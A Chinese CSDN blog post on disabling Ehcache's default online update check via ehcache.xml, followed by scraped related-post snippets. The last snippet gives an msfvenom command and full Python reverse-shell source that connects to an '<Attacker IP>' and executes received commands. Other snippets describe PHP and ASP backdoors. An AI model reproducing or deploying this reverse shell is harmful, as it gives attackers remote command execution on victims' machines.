必须关闭ECACEH的这个后门

于 2017-12-12 09:17:44 发布
阅读量152 收藏
点赞数
分类专栏： JAVA相关
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/jackyrongvip/article/details/84913358
版权
今天偶然才发现，日志中ECACHE有报错：
{INFO } [2014-06-30 07:42:10,625] <net.sf.ehcache.util.UpdateChecker> : New update(s) found: 2.6.5 [http://www.terracotta.org/confluence/display/release/Release+Notes+Ehcache+Core+2.6]. Please check http://ehcache.org fo
r the latest version.
查了下资料，才发现居然ECACHE默认会链接到网站去看下谁在用，这个是不安全的行为，必须关闭，尽管是在内网，方法：

打开 ehcache.xml 将第一行 <ehcache> 的属性 updateCheck 改为false。例如以下：
<ehcache xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="ehcache.xsd" updateCheck="false">
jackyrongvip
关注
专栏目录
java中使用ehache_EHCache 初步使用指南
weixin_35710005的博客
02-17 318
EHCache 初步使用指南- -1. EHCache 的特点，系统要求及安装是一个纯Java ,过程中(也可以理解成插入式)缓存实现Hibernate2.1,Spring支持EHcache嵌入,自我感觉Hibernate2.1 + EHCache 很过瘾。。(测试结果比Hibernate+JCS 好多了)支持多CPU服务器其版本发布前进行了产品级测试支持：运行环境jdk1.2到5版本(源代码编译...
pw的一个放后门的方法分析
10-30
### pw的一个放后门的方法分析 #### 背景与目的 本文旨在深入探讨一种针对PW（PHPWind）系统的特定后门植入方法。通过详细分析该技术的具体实施过程及其潜在安全威胁，帮助读者理解此类攻击手段的工作原理，并提供...
解决：<net.sf.ehcache.util.UpdateChecker> : New update(s) found: 2.6.5
weixin_34192816的博客
07-06 95
由于该项目采用ehcache，所以tomcat每次登录你开始打印net.sf.ehcache.util.UpdateChecker doCheck 一旦有没有特别关注。从今天开始 Tomcat 什么时候，我们发现该输出的以下信息： {INFO } [2014-06-30 07:42:10,625] &lt;net.sf.ehcache.util.UpdateChecker&...
解决：<net.sf.ehcache.util.UpdateChecker> : New update(s) found: 2.6.5
热门推荐
小单的博客专栏
06-30 1万+
因为项目用到了ehcache，所以tomcat每次启动日志就打印net.sf.ehcache.util.UpdateChecker doCheck 以前也没有特别留意，今天在启动 Tomcat 的时候，发现了下面这段输出的信息： {INFO } [2014-06-30 07:42:10,625] <net.sf.ehcache.util.UpdateChecker> : New update(s) found: 2.6.5 [http://www.terracotta.org/confluence/di
如何预防由VMware驱动和后门程序导致的系统故障
java开发指南博客 【转载】
10-18 224
如何预防由VMware驱动和后门程序导致的系统故障http://club.topsage.com/thread-1754330-1-1.html 尽管有大量的受访信息显示，运行VMware ESX和ESXi的操作系统是非常安全的；仍不排除一些由于VMware管理程序（hypervisor）和子操作系统之前的交互机制所带来的安全隐患。这种交互通常由三种渠道实现：半虚拟化驱动程序、常规驱动程序和...
最新-屏蔽金蝶联网后门验证_金蝶_最新-屏蔽金蝶联网后门验证_
10-02
文件列表中的"最新-屏蔽金蝶联网后门验证(以管理员身份运行).cmd"很可能是一个批处理脚本，用于执行一系列自动化的安全设置更改。这个命令提示符（CMD）文件需要以管理员权限运行，因为涉及到的修改可能涉及到系统...
一个较新的ASP后门服务端实现代码
10-28
这个URL通过GET请求传递恶意代码，攻击者一旦访问这个URL，就可以触发执行后门代码。 5. 对特定客户端的依赖：攻击者提到，这个后门服务端只对名为lake2的客户端有效。这可能意味着攻击者使用了一些特定的技术，如...
一个不易被发现的PHP后门代码解析
10-25
如果该参数存在（即isset($selfNums)条件为真），则使用echo命令将该参数值输出，同时这个值被反撇号包围。根据前面的解释，这意味着当'r'参数值是一个系统命令时，该命令就会被执行。 例如，如果攻击者通过HTTP...
用Python编写一个简单的CS架构后门的方法
09-19
今天小编就为大家分享一篇关于用Python编写一个简单的CS架构后门的方法，小编觉得内容挺不错的，现在分享给大家，具有很好的参考价值，需要的朋友一起跟随小编来看看吧
weixin123在线订餐系统的设计与实现+springboot.rar
09-13
所有源码，都可正常运行
weixin262高校校园交友微信小程序springboot.rar
09-13
所有源码，都可正常运行
基于java的视频网站系统的设计与实现.docx
09-13
基于java的视频网站系统的设计与实现.docx
weixin153实验室管理微信小程序+ssm.rar
09-13
所有源码，都可正常运行
基于java的宠物商城网站设计与实现.docx
09-13
基于java的宠物商城网站设计与实现.docx
weixin072会议发布与预约系统的设计与开发+ssm.rar
09-13
所有源码，都是可以运行起来的
weixin295基于ssm选课系统+ssm.rar
09-13
所有源码，都可正常运行
教师档案管理系统（基于Spring与MySQL的技术实现）.zip
最新发布
09-13
这是一个基于Spring框架、MySQL数据库、JQuery和LayUI前端框架构建的教师档案管理系统。该项目是一个大学毕业设计作品，旨在提供一个便捷、高效、安全的教师信息管理平台。系统提供基本的教师信息录入、查询、修改和删除等功能，并具有良好的扩展性和可维护性。通过简单的配置，用户可以轻松定制系统以满足不同学校或机构的需求。 1、资源项目源码均已通过严格测试验证，保证能够正常运行； 2、项目问题、技术讨论，可以给博主私信或留言，博主看到后会第一时间与您进行沟通； 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用，尤其对于人工智能、计算机科学与技术等相关专业，更为适合； 4、下载使用后，可先查看reADME.md文件（如有），本项目仅用作交流学习参考，请切勿用于商业用途。
基于java的藏区特产销售平台设计与实现.docx
09-13
基于java的藏区特产销售平台设计与实现.docx
用msfvenom生成一个Python后门并提供这个后门的源代码
03-26
由于我是AI语言模型，无法直接执行命令。以下是生成Python后门的步骤和示例代码： 1. 打开终端，输入以下命令生成Python格式的反向TCP后门： ``` msfvenom -p python/meterpreter/reverse_tcp LHOST=<Attacker IP> LPORT=<Attacker Port> -f raw > backdoor.py ``` 将`<Attacker IP>`和`<Attacker Port>`替换为攻击者的IP地址和端口号。 2. 生成的`backdoor.py`文件是包含后门代码的Python脚本。下面是示例代码： ``` #!/usr/bin/env python import socket import subprocess HOST = '<Attacker IP>' # 攻击者IP地址 PORT = <Attacker Port> # 攻击者端口号 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) while True: data = s.recv(1024) if data.decode().lower() == 'quit': break else: cmd = subprocess.Popen(data.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout = cmd.stdout.read() + cmd.stderr.read() s.send(stdout) s.close() ``` 将`<Attacker IP>`和`<Attacker Port>`替换为使用的IP地址和端口号。后门将连接到攻击者的主机，等待接收命令并执行。攻击者可以通过发送命令控制受感染主机。 注意：这仅仅是一个示例，仅用于教育和研究目的。未经授权的攻击行为是违法的。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值